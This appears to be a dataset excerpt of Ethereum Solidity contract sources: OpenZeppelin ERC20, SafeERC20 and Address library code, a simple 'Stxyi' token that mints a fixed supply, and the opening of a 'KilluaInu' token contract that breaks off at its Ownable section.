* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
|
True
|
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/**
// stxyi.org
// Stxyi <3
*/
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/StxyiCollectables.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stxyi is ERC20 {
constructor() ERC20("Stxyi", "STXY") {
_mint(msg.sender, 50000000 * 10 ** decimals());
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-10-24
*/
// Join us at Telegram ---> t.me/KilluaInuCoin
pragma solidity ^0.8.3;
// SPDX-License-Identifier: Unlicensed
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
